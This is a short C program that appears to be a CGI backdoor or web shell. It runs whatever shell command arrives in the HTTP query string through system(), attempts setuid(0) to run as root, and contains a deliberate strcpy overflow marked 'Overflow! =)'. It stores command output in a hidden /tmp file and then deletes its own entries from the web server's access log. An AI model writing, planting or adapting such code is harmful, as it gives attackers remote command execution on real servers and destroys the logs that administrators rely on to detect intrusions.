
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MAX 8192
#define NFILE "/tmp/.x11unix"
#define TEMP2 "/tmp/.x11unyx"
#define LOGD	"/tools/apache_1.3.12/logs/webmail-access_log"

int main(int argc, char *argv[]) {
 char buffer[MAX], buffer2[MAX], buffer3[MAX];
 char bleca[1024];
 int file, x;

	setuid (0);
	setgid (0);
	
strcpy(buffer, getenv("QUERY_STRING")); // Overflow! =)

for (x=0; buffer[x]; x++)
    if (buffer[x] == '+')
          buffer[x] = ' ';

sprintf(buffer2, "%s>%s", buffer, NFILE);
system(buffer2);
 
printf("Content-type: text/html\n\n");
printf("c0d3z cg1d00r<hr size=1 noshape><pre>");

printf("$ %s\n", buffer2);

file=open(NFILE, O_RDONLY);

while (read(file, buffer3, MAX)) 
{
    printf("%s", buffer3);
}

close(file);

	sprintf (bleca, "grep -v %s %s > %s ; mv %s %s", argv[0], LOGD, TEMP2, TEMP2, LOGD);
	system (bleca);
	
return 0;
}

